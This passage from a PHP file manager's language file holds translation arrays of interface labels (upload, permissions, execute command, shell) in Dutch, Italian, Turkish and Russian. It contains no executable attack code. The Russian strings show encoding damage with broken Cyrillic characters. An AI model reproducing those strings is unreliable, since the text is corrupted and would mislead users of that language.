$nl['PassSaved'] = 'Wachtwoord opgeslagen'; $nl['FileDirExists'] = 'Bestand of map bestaat al'; $nl['NoPhpinfo'] = 'Functie \'phpinfo\' is uitgeschakeld'; $nl['NoReturn'] = 'no return'; $nl['FileSent'] = 'Bestand verzonden'; $nl['SpaceLimReached'] = 'Opslagruimtelimiet bereikt'; $nl['InvExt'] = 'Ongeldige extensie'; $nl['FileNoOverw'] = 'Bestand kan niet worden overgeschreven'; $nl['FileOverw'] = 'Bestand overgeschreven'; $nl['FileIgnored'] = 'Bestand genegeerd'; $nl['ChkVer'] = 'Controleer nieuwe versie'; $nl['ChkVerAvailable'] = 'Nieuwe versie, klik hier om de download te starten'; $nl['ChkVerNotAvailable'] = 'Geen nieuwe versie beschikbaar'; $nl['ChkVerError'] = 'Verbindingsfout.'; $nl['Website'] = 'Website'; $nl['SendingForm'] = 'Bestanden worden verzonden. Even geduld...'; $nl['NoFileSel'] = 'Geen bestanden geselecteerd'; $nl['SelAll'] = 'Alles'; $nl['SelNone'] = 'Geen'; $nl['SelInverse'] = 'Keer om'; $nl['Selected_s'] = 'geselecteerd'; $nl['Total'] = 'totaal'; $nl['Partition'] = 'Partitie'; $nl['RenderTime'] = 'Tijd voor maken van deze pagina'; $nl['Seconds'] = 'sec'; $nl['ErrorReport'] = 'Foutenrapport'; // Italian - by Valerio Capello $it1['Version'] = 'Versione'; $it1['DocRoot'] = 'Document Root'; $it1['FLRoot'] = 'File Manager Root'; $it1['Name'] = 'Nome'; $it1['And'] = 'e'; $it1['Enter'] = 'Immetti'; $it1['Send'] = 'Invia'; $it1['Refresh'] = 'Aggiorna'; $it1['SaveConfig'] = 'Salva la Configurazione'; $it1['SavePass'] = 'Salva la Password'; $it1['SaveFile'] = 'Salva il File'; $it1['Save'] = 'Salva'; $it1['Leave'] = 'Abbandona'; $it1['Edit'] = 'Modifica'; $it1['View'] = 'Guarda'; $it1['Config'] = 'Configurazione'; $it1['Ren'] = 'Rinomina'; $it1['Rem'] = 'Elimina'; $it1['Compress'] = 'Comprimi'; $it1['Decompress'] = 'Decomprimi'; $it1['ResolveIDs'] = 'Risolvi IDs'; $it1['Move'] = 'Sposta'; $it1['Copy'] = 'Copia'; $it1['ServerInfo'] = 'Informazioni sul Server'; $it1['CreateDir'] = 'Crea Directory'; $it1['CreateArq'] = 'Crea File'; $it1['ExecCmd'] = 'Esegui Comando'; $it1['Upload'] = 'Carica'; $it1['UploadEnd'] = 'Caricamento terminato'; $it1['Perm'] = 'Perm'; $it1['Perms'] = 'Permessi'; $it1['Owner'] = 'Proprietario'; $it1['Group'] = 'Gruppo'; $it1['Other'] = 'Altri'; $it1['Size'] = 'Dimensioni'; $it1['Date'] = 'Data'; $it1['Type'] = 'Tipo'; $it1['Free'] = 'liberi'; $it1['Shell'] = 'Shell'; $it1['Read'] = 'Lettura'; $it1['Write'] = 'Scrittura'; $it1['Exec'] = 'Esecuzione'; $it1['Apply'] = 'Applica'; $it1['StickyBit'] = 'Sticky Bit'; $it1['Pass'] = 'Password'; $it1['Lang'] = 'Lingua'; $it1['File'] = 'File'; $it1['File_s'] = 'file'; $it1['Dir_s'] = 'directory'; $it1['To'] = 'a'; $it1['Destination'] = 'Destinazione'; $it1['Configurations'] = 'Configurazione'; $it1['JSError'] = 'Errore JavaScript'; $it1['NoSel'] = 'Non ci sono elementi selezionati'; $it1['SelDir'] = 'Scegli la directory di destinazione'; $it1['TypeDir'] = 'Inserisci il nome della directory'; $it1['TypeArq'] = 'Inserisci il nome del file'; $it1['TypeCmd'] = 'Inserisci il comando'; $it1['TypeArqComp'] = 'Inserisci il nome del file.\\nLa estensione definirà il tipo di compressione.\\nEsempio:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $it1['RemSel'] = 'ELIMINA gli elementi selezionati'; $it1['NoDestDir'] = 'LA directory di destinazione non è stata selezionata'; $it1['DestEqOrig'] = 'La directory di origine e di destinazione sono la stessa'; $it1['InvalidDest'] = 'La directory di destinazione non è valida'; $it1['NoNewPerm'] = 'Nuovi permessi non attivati'; $it1['CopyTo'] = 'COPIA in'; $it1['MoveTo'] = 'SPOSTA in'; $it1['AlterPermTo'] = 'CAMBIA I PERMESSI: '; $it1['ConfExec'] = 'Conferma ESECUZIONE'; $it1['ConfRem'] = 'Conferma ELIMINAZIONE'; $it1['EmptyDir'] = 'Directory vuota'; $it1['IOError'] = 'Errore di I/O'; $it1['FileMan'] = 'PHP File Manager'; $it1['TypePass'] = 'Immetti la password'; $it1['InvPass'] = 'Password non valida'; $it1['ReadDenied'] = 'Permesso di lettura negato'; $it1['FileNotFound'] = 'File non trovato'; $it1['AutoClose'] = 'Chiudi la finestra al termine'; $it1['OutDocRoot'] = 'File oltre DOCUMENT_ROOT'; $it1['NoCmd'] = 'Errore: Comando non informato'; $it1['ConfTrySave'] = 'File senza permesso di scrittura.\\nProvo a salvare comunque'; $it1['ConfSaved'] = 'Configurazione salvata'; $it1['PassSaved'] = 'Password salvata'; $it1['FileDirExists'] = 'Il file o la directory esiste già'; $it1['NoPhpinfo'] = 'La funzione phpinfo è disabilitata'; $it1['NoReturn'] = 'senza Return'; $it1['FileSent'] = 'File inviato'; $it1['SpaceLimReached'] = 'è stato raggiunto il limite di spazio disponibile'; $it1['InvExt'] = 'Estensione non valida'; $it1['FileNoOverw'] = 'Il file non può essere sovrascritto'; $it1['FileOverw'] = 'File sovrascritto'; $it1['FileIgnored'] = 'File ignorato'; $it1['ChkVer'] = 'Controlla se è disponibile una nuova versione'; $it1['ChkVerAvailable'] = 'è disponibile una nuova versione: premi qui per scaricarla.'; $it1['ChkVerNotAvailable'] = 'Non è disponibile nessuna nuova versione. :('; $it1['ChkVerError'] = 'Errore di connessione.'; $it1['Website'] = 'Sito Web'; $it1['SendingForm'] = 'Invio file, attendere prego'; $it1['NoFileSel'] = 'Nessun file selezionato'; $it1['SelAll'] = 'Tutti'; $it1['SelNone'] = 'Nessuno'; $it1['SelInverse'] = 'Inverti'; $it1['Selected_s'] = 'selezionato'; $it1['Total'] = 'totali'; $it1['Partition'] = 'Partizione'; $it1['RenderTime'] = 'Tempo per elaborare questa pagina'; $it1['Seconds'] = 'sec'; $it1['ErrorReport'] = 'Error Reporting'; // Italian - by Federico Corrà $it2['Version'] = 'Versione'; $it2['DocRoot'] = 'Root Documenti'; $it2['FLRoot'] = 'Root del File Manager'; $it2['Name'] = 'Nome'; $it2['And'] = 'e'; $it2['Enter'] = 'Invio'; $it2['Send'] = 'Spedisci'; $it2['Refresh'] = 'Aggiorna'; $it2['SaveConfig'] = 'Salva configurazioni'; $it2['SavePass'] = 'Salva password'; $it2['SaveFile'] = 'Salva file'; $it2['Save'] = 'Salva'; $it2['Leave'] = 'Esci'; $it2['Edit'] = 'Modifica'; $it2['View'] = 'Visualizza'; $it2['Config'] = 'Configura'; $it2['Ren'] = 'Rinomina'; $it2['Rem'] = 'Cancella'; $it2['Compress'] = 'Comprimi'; $it2['Decompress'] = 'Decomprimi'; $it2['ResolveIDs'] = 'Risolvi ID'; $it2['Move'] = 'Muovi'; $it2['Copy'] = 'Copia'; $it2['ServerInfo'] = 'Server info'; $it2['CreateDir'] = 'Crea cartella'; $it2['CreateArq'] = 'Crea file'; $it2['ExecCmd'] = 'Esegui comando'; $it2['Upload'] = 'Upload'; $it2['UploadEnd'] = 'Upload terminato'; $it2['Perm'] = 'Perm'; $it2['Perms'] = 'Permessi'; $it2['Owner'] = 'Owner'; $it2['Group'] = 'Grouppo'; $it2['Other'] = 'Altro'; $it2['Size'] = 'Dimensione'; $it2['Date'] = 'Data'; $it2['Type'] = 'Tipo'; $it2['Free'] = 'liberi'; $it2['Shell'] = 'Shell'; $it2['Read'] = 'Lettura'; $it2['Write'] = 'Scrittura'; $it2['Exec'] = 'Esecuzione'; $it2['Apply'] = 'Applica'; $it2['StickyBit'] = 'Sticky Bit'; $it2['Pass'] = 'Password'; $it2['Lang'] = 'Lingua'; $it2['File'] = 'File'; $it2['File_s'] = 'file'; $it2['Dir_s'] = 'cartella'; $it2['To'] = 'a'; $it2['Destination'] = 'Destinazione'; $it2['Configurations'] = 'Configurazioni'; $it2['JSError'] = 'Errore JavaScript'; $it2['NoSel'] = 'Nessun item selezionato'; $it2['SelDir'] = 'Scegli la cartella di destinazione sull\'albero a sinistra'; $it2['TypeDir'] = 'Inserisci il nome della cartella'; $it2['TypeArq'] = 'Inserisci il nome del file'; $it2['TypeCmd'] = 'Inserisci il comando'; $it2['TypeArqComp'] = 'Inserisci il nome del file.\\nL\'estensione definirà le modalità di compressione.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $it2['RemSel'] = 'ELIMINA gli item selezionati'; $it2['NoDestDir'] = 'Non è stata selezionata la cartella di destinazione'; $it2['DestEqOrig'] = 'La cartella di origine e di destinazione coincidono'; $it2['InvalidDest'] = 'La cartella di destinazione non è valida'; $it2['NoNewPerm'] = 'Nuovo permesso non definito'; $it2['CopyTo'] = 'COPIA in'; $it2['MoveTo'] = 'MUOVI in'; $it2['AlterPermTo'] = 'CAMBIA PERMESSI in'; $it2['ConfExec'] = 'Conferma ESECUZIONE'; $it2['ConfRem'] = 'Conferma CANCELLA'; $it2['EmptyDir'] = 'Cartella Vuota'; $it2['IOError'] = 'Errore I/O'; $it2['FileMan'] = 'PHP File Manager'; $it2['TypePass'] = 'Inserisci la password'; $it2['InvPass'] = 'Password non valida'; $it2['ReadDenied'] = 'Accesso in lettura non consentito'; $it2['FileNotFound'] = 'File non trovato'; $it2['AutoClose'] = 'Chiudi dopo aver completato'; $it2['OutDocRoot'] = 'File oltre DOCUMENT_ROOT'; $it2['NoCmd'] = 'Errore: comando non informato'; $it2['ConfTrySave'] = 'Accesso in scrittura non consentito.\\nProva a salvare comunque'; $it2['ConfSaved'] = 'Configurazioni salvate'; $it2['PassSaved'] = 'Password salvate'; $it2['FileDirExists'] = 'Il file o la cartella esiste già'; $it2['NoPhpinfo'] = 'Funzione phpinfo disabilitata'; $it2['NoReturn'] = 'Nessun ritorno'; $it2['FileSent'] = 'File spedito'; $it2['SpaceLimReached'] = 'Limite di spazio raggiunto'; $it2['InvExt'] = 'Estensione non valida'; $it2['FileNoOverw'] = 'Il file non potrebbe essere sovrascritto'; $it2['FileOverw'] = 'File sovrascritto'; $it2['FileIgnored'] = 'File ignorato'; $it2['ChkVer'] = 'Check nuova versione'; $it2['ChkVerAvailable'] = 'Nuova versione, clicca qui per iniziare il download!!'; $it2['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :('; $it2['ChkVerError'] = 'Errore di connessione.'; $it2['Website'] = 'Sito Web'; $it2['SendingForm'] = 'Invio file, prego attendi'; $it2['NoFileSel'] = 'Nessun file selezionato'; $it2['SelAll'] = 'Tutti'; $it2['SelNone'] = 'Nessuno'; $it2['SelInverse'] = 'Inverti'; $it2['Selected_s'] = 'selezionati'; $it2['Total'] = 'totale'; $it2['Partition'] = 'Partizione'; $it2['RenderTime'] = 'Tempo per renderizzare questa pagina'; $it2['Seconds'] = 'sec'; $it2['ErrorReport'] = 'Report errori'; // Italian - by Luca Zorzi $it3['Version'] = 'Versione'; $it3['DocRoot'] = 'Document Root'; $it3['FLRoot'] = 'Root del File Manager'; $it3['Name'] = 'Nome'; $it3['And'] = 'e'; $it3['Enter'] = 'Invio'; $it3['Send'] = 'Invia'; $it3['Refresh'] = 'Aggiorna'; $it3['SaveConfig'] = 'Salva le impostazioni'; $it3['SavePass'] = 'Salva la Password'; $it3['SaveFile'] = 'Salva il File'; $it3['Save'] = 'Salva'; $it3['Leave'] = 'Annulla'; $it3['Edit'] = 'Modifica'; $it3['View'] = 'Guarda'; $it3['Config'] = 'Impostazioni'; $it3['Ren'] = 'Rinomina'; $it3['Rem'] = 'Elimina'; $it3['Compress'] = 'Comprimi'; $it3['Decompress'] = 'Decomprimi'; $it3['ResolveIDs'] = 'Risolvi ID'; $it3['Move'] = 'Sposta'; $it3['Copy'] = 'Copia'; $it3['ServerInfo'] = 'Server Info'; $it3['CreateDir'] = 'Crea Cartella'; $it3['CreateArq'] = 'Crea File'; $it3['ExecCmd'] = 'Esegui Comando'; $it3['Upload'] = 'Upload'; $it3['UploadEnd'] = 'Upload completato'; $it3['Perm'] = 'Perm'; $it3['Perms'] = 'Permessi'; $it3['Owner'] = 'Proprietario'; $it3['Group'] = 'Gruppo'; $it3['Other'] = 'Altri'; $it3['Size'] = 'Dimensione'; $it3['Date'] = 'Data'; $it3['Type'] = 'Tipo'; $it3['Free'] = 'libero'; $it3['Shell'] = 'Shell'; $it3['Read'] = 'Lettura'; $it3['Write'] = 'Scruttura'; $it3['Exec'] = 'Esecuzione'; $it3['Apply'] = 'Applica'; $it3['StickyBit'] = 'Bit Sticky'; $it3['Pass'] = 'Password'; $it3['Lang'] = 'Lingua'; $it3['File'] = 'File'; $it3['File_s'] = 'file'; $it3['Dir_s'] = 'cartella/e'; $it3['To'] = 'a'; $it3['Destination'] = 'Destinazione'; $it3['Configurations'] = 'Configurazioni'; $it3['JSError'] = 'Errore JavaScript'; $it3['NoSel'] = 'Non ci sono elementi selezioneti'; $it3['SelDir'] = 'Scegli la cartella di destinazione nell\'elenco a sinistra'; $it3['TypeDir'] = 'Inserisci il nome della cartella'; $it3['TypeArq'] = 'Inserisci il nome del file'; $it3['TypeCmd'] = 'Inserisci il comando'; $it3['TypeArqComp'] = 'Inserisci il nome del file.\\nIl nome definir à il tipo della compressione .\\nEs:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $it3['RemSel'] = 'ELIMINA gli elementi selezionati'; $it3['NoDestDir'] = 'Non hai selezionato la cartella di destinazione'; $it3['DestEqOrig'] = 'La cartella di origine e destinazione è la stessa'; $it3['InvalidDest'] = 'La cartella di destinazione non è valida'; $it3['NoNewPerm'] = 'Nuovi permessi non impostati'; $it3['CopyTo'] = 'COPIA in'; $it3['MoveTo'] = 'SPOSTA in'; $it3['AlterPermTo'] = 'CAMBIA I PERMESSI a'; $it3['ConfExec'] = 'Conferma ESECUZIONE'; $it3['ConfRem'] = 'Conferma ELIMINAZIONE'; $it3['EmptyDir'] = 'CArtella vuota'; $it3['IOError'] = 'Errore di I/O'; $it3['FileMan'] = 'PHP File Manager'; $it3['TypePass'] = 'Inserisci la password'; $it3['InvPass'] = 'Password errata'; $it3['ReadDenied'] = 'Accesso in lettura negato'; $it3['FileNotFound'] = 'File non trovato'; $it3['AutoClose'] = 'Chiudi alla fine'; $it3['OutDocRoot'] = 'File fuori dalla DOCUMENT_ROOT'; $it3['NoCmd'] = 'Errore: Comando non informato'; $it3['ConfTrySave'] = 'File senza il permesso di scrittura.\\nProvare a salvarlo comunque'; $it3['ConfSaved'] = 'Configurazione salvata'; $it3['PassSaved'] = 'Password salvata'; $it3['FileDirExists'] = 'Il file o la cartella esiste già'; $it3['NoPhpinfo'] = 'Funzione phpinfo disabilitata'; $it3['NoReturn'] = 'no return'; $it3['FileSent'] = 'File inviato'; $it3['SpaceLimReached'] = 'Limite di spazio raggiunto'; $it3['InvExt'] = 'Estensione non valida'; $it3['FileNoOverw'] = 'Il file non può essere sovrascritto'; $it3['FileOverw'] = 'File sovrascritto'; $it3['FileIgnored'] = 'File ignorato'; $it3['ChkVer'] = 'Controlla la presnza di una nuova versione'; $it3['ChkVerAvailable'] = 'Nuova versione, clicca qui per avviare il download!!'; $it3['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :('; $it3['ChkVerError'] = 'Errore di connessione.'; $it3['Website'] = 'Sito'; $it3['SendingForm'] = 'Invio dei file, attendi'; $it3['NoFileSel'] = 'Nessun file selezionato'; $it3['SelAll'] = 'Tutti'; $it3['SelNone'] = 'Nessuno'; $it3['SelInverse'] = 'Inverti selezione'; $it3['Selected_s'] = 'selezionato'; $it3['Total'] = 'totale'; $it3['Partition'] = 'Partizione'; $it3['RenderTime'] = 'Tempo di generazione'; $it3['Seconds'] = 'sec'; $it3['ErrorReport'] = 'Error Reporting'; // Italian - by Gianni $it4['Version'] = 'Versione'; $it4['DocRoot'] = 'Root documenti'; $it4['FLRoot'] = 'Root file manager'; $it4['Name'] = 'Nome'; $it4['And'] = 'e'; $it4['Enter'] = 'Entra'; $it4['Send'] = 'Invia'; $it4['Refresh'] = 'Aggiorna'; $it4['SaveConfig'] = 'Salva configurazioni'; $it4['SavePass'] = 'Salva password'; $it4['SaveFile'] = 'Salva file'; $it4['Save'] = 'Salva'; $it4['Leave'] = 'Esci'; $it4['Edit'] = 'Modifica'; $it4['View'] = 'Vedi'; $it4['Config'] = 'Preferenze'; $it4['Ren'] = 'Rinomina'; $it4['Rem'] = 'Cancella'; $it4['Compress'] = 'Comprimi'; $it4['Decompress'] = 'Decomprimi'; $it4['ResolveIDs'] = 'Risolvi IDs'; $it4['Move'] = 'Sposta'; $it4['Copy'] = 'Copia'; $it4['ServerInfo'] = 'Versione PHP'; $it4['CreateDir'] = 'Crea directory'; $it4['CreateArq'] = 'Crea file'; $it4['ExecCmd'] = 'Esegui comando'; $it4['Upload'] = 'Upload'; $it4['UploadEnd'] = 'Upload terminato'; $it4['Perm'] = 'Perm'; $it4['Perms'] = 'Permessi'; $it4['Owner'] = 'Proprietario'; $it4['Group'] = 'Gruppo'; $it4['Other'] = 'Altro'; $it4['Size'] = 'Dimensione'; $it4['Date'] = 'Data'; $it4['Type'] = 'Tipo'; $it4['Free'] = 'liberi'; $it4['Shell'] = 'Shell'; $it4['Read'] = 'Lettura'; $it4['Write'] = 'Scrittura'; $it4['Exec'] = 'Esecuzione'; $it4['Apply'] = 'Applica'; $it4['StickyBit'] = 'Sticky Bit'; $it4['Pass'] = 'Password'; $it4['Lang'] = 'Lingua'; $it4['File'] = 'File'; $it4['File_s'] = 'files'; $it4['Dir_s'] = 'directory'; $it4['To'] = 'in'; $it4['Destination'] = 'Destinazione'; $it4['Configurations'] = 'Preferenze'; $it4['JSError'] = 'Errore JavaScript'; $it4['NoSel'] = 'Non ci sono elementi selezionati'; $it4['SelDir'] = 'Seleziona una directory di destinazione a sinistra'; $it4['TypeDir'] = 'Inserisci il nome della directory'; $it4['TypeArq'] = 'Inserisci il nome del file'; $it4['TypeCmd'] = 'Inserisci il comando'; $it4['TypeArqComp'] = 'Inserisci il nome del file e tipo di compressione\\n(.Zip .Tar .Bzip .Gzip)'; $it4['RemSel'] = 'Cancella gli elementi selezionati'; $it4['NoDestDir'] = 'Seleziona una directory di destinazione'; $it4['DestEqOrig'] = 'Origine e destinazione sono uguali'; $it4['InvalidDest'] = 'Directory di destinazione non valida'; $it4['NoNewPerm'] = 'Nuovi permessi non impostati'; $it4['CopyTo'] = 'Copia in'; $it4['MoveTo'] = 'Sposta in'; $it4['AlterPermTo'] = 'Cambia permessi in'; $it4['ConfExec'] = 'Conferma esecuzione'; $it4['ConfRem'] = 'Conferma eliminazione'; $it4['EmptyDir'] = 'Directory Vuota'; $it4['IOError'] = 'Errore I/O'; $it4['FileMan'] = 'PHP File Manager'; $it4['TypePass'] = 'Inserisci la password'; $it4['InvPass'] = 'Password non valida'; $it4['ReadDenied'] = 'Accesso in lettura negato'; $it4['FileNotFound'] = 'File non trovato'; $it4['AutoClose'] = 'Chiudi al termine'; $it4['OutDocRoot'] = 'File fuori dalla Root documenti'; $it4['NoCmd'] = 'Errore: comando non informato'; $it4['ConfTrySave'] = 'File senza permessi di scrittura.\\nRiprova a salvare'; $it4['ConfSaved'] = 'Preferenze salvate'; $it4['PassSaved'] = 'Password salvata'; $it4['FileDirExists'] = 'Il file o la directory esistono già'; $it4['NoPhpinfo'] = 'Funzione phpinfo disabilitata'; $it4['NoReturn'] = 'Nessun ritorno'; $it4['FileSent'] = 'File inviato'; $it4['SpaceLimReached'] = 'Raggiunto spazio limite'; $it4['InvExt'] = 'Estensione non valida'; $it4['FileNoOverw'] = 'Il file non può essere sovrascritto'; $it4['FileOverw'] = 'File sovrascritto'; $it4['FileIgnored'] = 'File ignorato'; $it4['ChkVer'] = 'Controlla aggiornamenti'; $it4['ChkVerAvailable'] = 'Nuova versione, click qui per effettuare il download!'; $it4['ChkVerNotAvailable'] = 'Nessuna nuova versione'; $it4['ChkVerError'] = 'Errore di connessione'; $it4['Website'] = 'Sito'; $it4['SendingForm'] = 'Invio files, attendere...'; $it4['NoFileSel'] = 'Nessun file selezionato'; $it4['SelAll'] = 'Tutti'; $it4['SelNone'] = 'Nessuno'; $it4['SelInverse'] = 'Inverti'; $it4['Selected_s'] = 'selezionati'; $it4['Total'] = 'totale'; $it4['Partition'] = 'Partizione'; $it4['RenderTime'] = 'Tempo per il render di questa pagina'; $it4['Seconds'] = 'sec'; $it4['ErrorReport'] = 'Report errori'; // Turkish - by Necdet Yazilimlari $tr['Version'] = 'Versiyon'; $tr['DocRoot'] = 'Kok dosya'; $tr['FLRoot'] = 'Kok dosya yoneticisi'; $tr['Name'] = 'Isim'; $tr['And'] = 've'; $tr['Enter'] = 'Giris'; $tr['Send'] = 'Yolla'; $tr['Refresh'] = 'Yenile'; $tr['SaveConfig'] = 'Ayarlari kaydet'; $tr['SavePass'] = 'Parolayi kaydet'; $tr['SaveFile'] = 'Dosyayi kaydet'; $tr['Save'] = 'Kaydet'; $tr['Leave'] = 'Ayril'; $tr['Edit'] = 'Duzenle'; $tr['View'] = 'Goster'; $tr['Config'] = 'Yapilandirma'; $tr['Ren'] = 'Yeniden adlandir'; $tr['Rem'] = 'Sil'; $tr['Compress'] = '.Zip'; $tr['Decompress'] = '.ZipCoz'; $tr['ResolveIDs'] = 'Kimlikleri coz'; $tr['Move'] = 'Tasi'; $tr['Copy'] = 'Kopyala'; $tr['ServerInfo'] = 'Sunucu Bilgisi'; $tr['CreateDir'] = 'Dizin olustur'; $tr['CreateArq'] = 'Dosya olusutur'; $tr['ExecCmd'] = 'Komut calistir'; $tr['Upload'] = 'Dosya yukle'; $tr['UploadEnd'] = 'Yukleme tamamlandi'; $tr['Perm'] = 'Izinler'; $tr['Perms'] = 'Izinler'; $tr['Owner'] = 'Sahip'; $tr['Group'] = 'Grup'; $tr['Other'] = 'Diger'; $tr['Size'] = 'Boyut'; $tr['Date'] = 'Tarih'; $tr['Type'] = 'Tip'; $tr['Free'] = 'Bos'; $tr['Shell'] = 'Kabuk'; $tr['Read'] = 'Oku'; $tr['Write'] = 'Yaz'; $tr['Exec'] = 'Calistir'; $tr['Apply'] = 'Uygula'; $tr['StickyBit'] = 'Sabit bit'; $tr['Pass'] = 'Parola'; $tr['Lang'] = 'Dil'; $tr['File'] = 'Dosya'; $tr['File_s'] = 'Dosya(lar)'; $tr['Dir_s'] = 'Dizin(ler)'; $tr['To'] = 'icin'; $tr['Destination'] = 'Hedef'; $tr['Configurations'] = 'Yapilandirmalar'; $tr['JSError'] = 'JavaScript hatasi'; $tr['NoSel'] = 'Secilen oge yok'; $tr['SelDir'] = 'Soldaki hedef dizin agaci secin'; $tr['TypeDir'] = 'Dizin adini girin'; $tr['TypeArq'] = 'Dosya adini girin'; $tr['TypeCmd'] = 'Komut girin'; $tr['TypeArqComp'] = 'Dosya ismini yazdiktan sonra sonuna .zip ekleyin'; $tr['RemSel'] = 'Secili ogeleri sil'; $tr['NoDestDir'] = 'Secili dizin yok'; $tr['DestEqOrig'] = 'Kokenli ve esit gidis rehberi'; $tr['InvalidDest'] = 'Hedef dizin gecersiz'; $tr['NoNewPerm'] = 'Izinler uygun degil'; $tr['CopyTo'] = 'Kopya icin'; $tr['MoveTo'] = 'Tasi icin'; $tr['AlterPermTo'] = 'Permission secin'; $tr['ConfExec'] = 'Yapilandirmayi onayla'; $tr['ConfRem'] = 'Simeyi onayla'; $tr['EmptyDir'] = 'Dizin bos'; $tr['IOError'] = 'Hata'; $tr['FileMan'] = 'Necdet_Yazilimlari'; $tr['TypePass'] = 'Parolayi girin'; $tr['InvPass'] = 'Gecersiz parola'; $tr['ReadDenied'] = 'Okumaya erisim engellendi'; $tr['FileNotFound'] = 'Dosya bulunamadi'; $tr['AutoClose'] = 'Otomatik kapat'; $tr['OutDocRoot'] = 'Kok klasor disindaki dosya'; $tr['NoCmd'] = 'Hata: Komut haberdar degil'; $tr['ConfTrySave'] = 'Dosya yazma izniniz yok. Yine de kaydetmeyi deneyebilirsiniz.'; $tr['ConfSaved'] = 'Ayarlar kaydedildi'; $tr['PassSaved'] = 'Parola kaydedildi'; $tr['FileDirExists'] = 'Dosya veya dizin zaten var'; $tr['NoPhpinfo'] = 'Php fonksiyon bilgisi devre disi'; $tr['NoReturn'] = 'Deger dondurmuyor'; $tr['FileSent'] = 'Dosya gonderildi'; $tr['SpaceLimReached'] = 'Disk limitine ulasildi'; $tr['InvExt'] = 'Gecersiz uzanti'; $tr['FileNoOverw'] = 'Dosya degistirilemiyor'; $tr['FileOverw'] = 'Dosya degistiribiliyor'; $tr['FileIgnored'] = 'Dosya kabul edildi'; $tr['ChkVer'] = 'Yeni versiyonu kontrol et'; $tr['ChkVerAvailable'] = 'Yeni surum bulundu. Indirmek icin buraya tiklayin.'; $tr['ChkVerNotAvailable'] = 'Yeni surum bulunamadi.'; $tr['ChkVerError'] = 'Baglanti hatasi'; $tr['Website'] = 'Website'; $tr['SendingForm'] = 'Dosyalar gonderiliyor, lutfen bekleyin'; $tr['NoFileSel'] = 'Secili dosya yok'; $tr['SelAll'] = 'Hepsi'; $tr['SelNone'] = 'Hicbiri'; $tr['SelInverse'] = 'Ters'; $tr['Selected_s'] = 'Secili oge(ler)'; $tr['Total'] = 'Toplam'; $tr['Partition'] = 'Bolme'; $tr['RenderTime'] = 'Olusturuluyor'; $tr['Seconds'] = 'Saniye'; $tr['ErrorReport'] = 'Hata raporu'; // РоÑÑÐ¸Ñ - Евгений Рашев $ru['Version']='ВерÑиÑ'; $ru['DocRoot']='Документ Root '; $ru['FLRoot']='Файловый менеджер'; $ru['Name']='ИмÑ'; $ru['And']='и'; $ru['Enter']='Enter'; $ru['Send']='Отправить'; $ru['Refresh']='Обновить'; $ru['SaveConfig']='Сохранить конфигурацию'; $ru['SavePass']='Сохранить пароль'; $ru['SaveFile']='Сохранить файл '; $ru['Save']='Сохранить'; $ru['Leave']='ОÑтавь'; $ru['Edit']='Изменить'; $ru['View']='ПроÑмотр'; $ru['Config']='ÐаÑтройки'; $ru['Ren']='Переименовать'; $ru['Rem']='Удалить'; $ru['Compress']='Сжать'; $ru['Decompress']='РаÑпаковать'; $ru['ResolveIDs']='ОпределÑть id'; $ru['Move']='ПеремеÑтить'; $ru['Copy']='Копировать'; $ru['ServerInfo']='Инфо о Ñервере'; $ru['CreateDir']='Создать папку'; $ru['CreateArq']='Создайте файл '; $ru['ExecCmd']='Выполнить'; $ru['Upload']='Загрузить'; $ru['UploadEnd']='Загружено'; $ru['Perm']='Права'; $ru['Perms']='РазрешениÑ'; $ru['Owner']='Владелец'; $ru['Group']='Группа'; $ru['Other']='Другие'; $ru['Size']='Размер'; $ru['Date']='Дата'; $ru['Type']='Тип'; $ru['Free']='Свободно'; $ru['Shell']='Shell'; $ru['Read']='Читать'; $ru['Write']='ПиÑать'; $ru['Exec']='ВыполнÑть'; $ru['Apply']='Применить'; $ru['StickyBit']='StickyBit'; $ru['Pass']='Пароль'; $ru['Lang']='Язык'; $ru['File']='Файл'; $ru['File_s']='Файл..'; $ru['Dir_s']='Пап..'; $ru['To']='в'; $ru['Destination']='Ðазначение'; $ru['Configurations']='КонфигурациÑ'; $ru['JSError']='Ошибка JavaScript'; $ru['NoSel']='нет выбранных Ñлементов'; $ru['SelDir']='Выберите папку Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° левом дереве '; $ru['TypeDir']='Введите Ð¸Ð¼Ñ ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³Ð° '; $ru['TypeArq']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°'; $ru['TypeCmd']='Введите команду '; $ru['TypeArqComp']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° ,раÑширение\\n Ñто позволит определить тип ÑÐ¶Ð°Ñ‚Ð¸Ñ \\n Пример:.. \\n nome.zip \\n nome.tar \\n nome.bzip \\n nome.gzip '; $ru['RemSel']='Удалить выбранные Ñлементы'; $ru['NoDestDir']='нет выбранного каталога назначениÑ'; $ru['DestEqOrig']='ПроиÑхождение и назначение каталогов равны '; $ru['InvalidDest']='Ðазначение каталога недейÑтвительно'; $ru['NoNewPerm']='Ðовые Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ðµ уÑтановлены'; $ru['CopyTo']='Копировать в '; $ru['MoveTo']='ПеремеÑтить в'; $ru['AlterPermTo']='Изменение разрешений в '; $ru['ConfExec']='Подтвердить ВЫПОЛÐИТЬ '; $ru['ConfRem']='Подтвердить УДÐЛЕÐИЕ'; $ru['EmptyDir']='ПуÑтой каталог '; $ru['IOError']='I/O Error'; $ru['FileMan']='PHP Файловый менеджер '; $ru['TypePass']='Введите пароль'; $ru['InvPass']='Ðеверный пароль'; $ru['ReadDenied']='ДоÑтуп запрещен '; $ru['FileNotFound']='Файл не найден'; $ru['AutoClose']='Закрыть полноÑтью '; $ru['OutDocRoot']='Файлы за пределами DOCUMENT_ROOT'; $ru['NoCmd']='Ошибка: Ðе Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ð°Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð°'; $ru['ConfTrySave']='Файл без прав на запиÑÑŒ. \\n Сохранить в любом Ñлучае. '; 